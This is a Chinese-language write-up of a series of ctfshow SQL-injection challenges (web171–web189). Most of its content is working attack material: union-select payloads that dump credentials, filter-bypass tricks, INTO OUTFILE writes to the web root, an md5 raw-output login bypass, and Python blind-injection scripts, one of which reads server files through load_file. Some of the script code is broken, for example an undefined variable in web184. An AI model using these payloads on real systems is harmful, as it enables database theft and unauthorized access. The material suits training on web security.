题目:

web171:

payloads:

1
2
3
4
5
-1'union select 1,2,database()--+       //查询数据库名
-1'union select 1,2,concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+ //查询指定数据库下的表名
-1'union select 1,2,concat(column_name) from information_schema.columns where table_name='ctfshow_user'--+ //查询指定表名的列名
-1'union select 1,2,concat(id,username,password) from ctfshow_user--+
//查询指定表名的字段

web172:

和上一题几乎一样,只是换了表名,并且这一题的回显位置只有两个。

1
-1'union select 1,concat(id,username,password) from ctfshow_user2--+

web173:

题目:

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag/i', json_encode($ret))){
$ret['msg']='查询成功';
}

返回结果不可以有flag字样,使用to_base64(),hex()可以绕过。这题回显位置为3个,且表名为ctfshow_user3

payload:

1
-1'union select 1,2,hex(password)from ctfshow_user3--+

web174:

返回结果不可以有flag字样和数字。

1
2
3
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

将结果写入2.txt然后访问该文件。payload:

1
-1' union select 1,password from ctfshow_user4 into outfile '/var/www/html/2.txt' --+ 
  • 另解:也可以将数字替换为特殊标记
1
-1' union select REPLACE(username,'g','j'),REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(REPLACE(to_base64(password),'9','numI'),'0','numJ'),'1','numA'),'2','numB'),'3','numC'),'4','numD'),'5','numE'),'6','numF'),'7','numG'),'8','numH') from ctfshow_user4--+

再将结果替换回数字再base64解码:

1
2
3
4
5
6
7
import base64

flagstr='YnumCRmcnumBhvdnumCsnumEZGFhMWFiNynumJnumDNThiLTRjYWMtYWJkYSnumJnumDYTZmNnumBYzYjJiYWFnumI'

flag=flagstr.replace('numJ','0').replace('numA','1').replace('numB','2').replace('numC','3').replace('numD','4').replace('numE','5').replace('numF','6').replace('numG','7').replace('numH','8').replace('numI','9')

print(base64.b64decode(flag))

web175:

返回结果不可以有ascii码表中的128个字符。

1
2
3
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}

只有写入文件了。paylaod:

1
-1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/2.txt' --+ 

web176:

似乎是过滤了union select。用大写字母可以绕过。

payload:

1
2
1'or 1=1 --+  //万能密码
-1'union sElect 1,2,concat(id,username,password) from ctfshow_user--+

web177:

过滤空格(貌似还有#):

payload:

1
2
1'or/**/1=1%23 //万能密码
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23

web178:

在以上题目基础上又过滤了*,用%09(水平制表符)可绕过。事实上,用%09、%0A、%0B、%0C均可绕过。

payload:

1
2
1'or%091=1%23 //万能密码
1'%09union%09select%09password,1,1%09from%09ctfshow_user%09where%09username%09='flag'%23

web179:

同178,这次过滤了%09、%0A。

payload:

1
2
1'or%0C1=1%23 //万能密码
1'%0Cunion%0Cselect%0Cpassword,1,1%0Cfrom%0Cctfshow_user%0Cwhere%0Cusername%0C='flag'%23

web180:

过滤了%23,使用–%0c也一样。

payload:

1
2
1'or%0C1=1--%0c //万能密码
1'%0Cunion%0Cselect%0Cpassword,1,1%0Cfrom%0Cctfshow_user%0Cwhere%0Cusername%0C='flag'--%0c

web181:

题目具体过滤规则:

1
2
3
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
}

payload:

1
-1'or(id=26)and'1'='1

由前几题已知,flag字段所在的id是26,而构造的语句中,-1所在的id并不存在,所以回优先考虑and,再判断or子句。我们输入的sql最终会变成:

1
select id,username,password from ctfshow_user where username != 'flag' and id = '-1'or(id=26)and'1' limit 1;

web182:

过滤规则:

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
}

多过滤了一个flag。但不影响上一题payload的使用。

payload:

1
-1'or(id=26)and'1'='1

web183:

题目原文:

通过post表名返回表中的记录数。盲注脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests

url='http://c5e7a8c8-ef4b-4e9e-966b-8abcaee1bde7.challenge.ctf.show/select-waf.php'

flagstr='{qwertyuiopasdfghjklzxcvbnm-1234567890}'

flag=''
payload='`ctfshow_user`where(substr(`pass`,{},1)regexp(\'{}\'))'

for i in range(46):
if i < 5: #过滤flag,从第五位开始
continue
for c in flagstr:
data={
"tableName":payload.format(str(i),c)
}
resp=requests.post(url,data)
if(resp.text.find("$user_count = 1;")>0):
flag+=c
break
print("***盲注第{}位".format(str(i)))
print("flag is ctfshow{}".format(flag))

web184:

新增过滤:

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

where用不了,,换right join

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests

url = "http://442edcff-035c-494b-b5f1-17577c71c6bd.challenge.ctf.show/select-waf.php"

flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())

break
print('盲注第{}位,字符可能是{}'.format(chr(i),chr(c)))

WEB185

此题的思路是使用concat()方法配合true构造数字。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#author:yu22x
import requests
import string
url="http://72195b62-090a-49f9-af4e-ee004b8545a0.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
print(t)
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break

web186

1
2
3
4
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
}

上题方法可用

web187

1
2
3
4
5
6
7
8
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

是登录窗口,思路类似万能密码

md5()方法的第二个参数被设置了true,这将让 MD5 报文摘要以16字节长度的原始二进制格式返回。

ffifdyop是个特殊字符,类似的还有129581926211651571912466741651878684928

配合下来,字符串部分会被自动解析为数字。

所以用admin+以上两个字符中的一种可以登录。

web188

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username}";
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

弱类型比较

sql里,数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。

web189

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

import requests

url = "http://a004392b-741f-4a8d-8061-650ce496eb62.challenge.ctf.show/api/"
payload1 = "if(locate('ctfshow',load_file('/var/www/html/api/index.php'))>{index},0,1)"


def find_flag_index() -> int:
start = 0
end = 1000
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload1.format(index=p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
return end


print("[*] finding flag index")
flag_index = find_flag_index()
print(f"[!] flag index found: {flag_index}")
flag = "c"
flag_index += 1
print("[*] start to injection")
payload2 = "if(ascii(substr(load_file('/var/www/html/api/index.php'),{},1))>{},0,1)"

while flag[-1] != "}":
start = 32
end = 127
while not (abs(start-end) == 1 or start == end):
p = (start + end) // 2
data = {
"username": payload2.format(flag_index, p),
"password": 0
}
response = requests.post(url, data=data)
if "\\u5bc6\\u7801\\u9519\\u8bef" in response.text:
start = p
else:
end = p
if end < start:
end = start
flag += chr(end)
print(f"[*] flag: {flag}")
flag_index += 1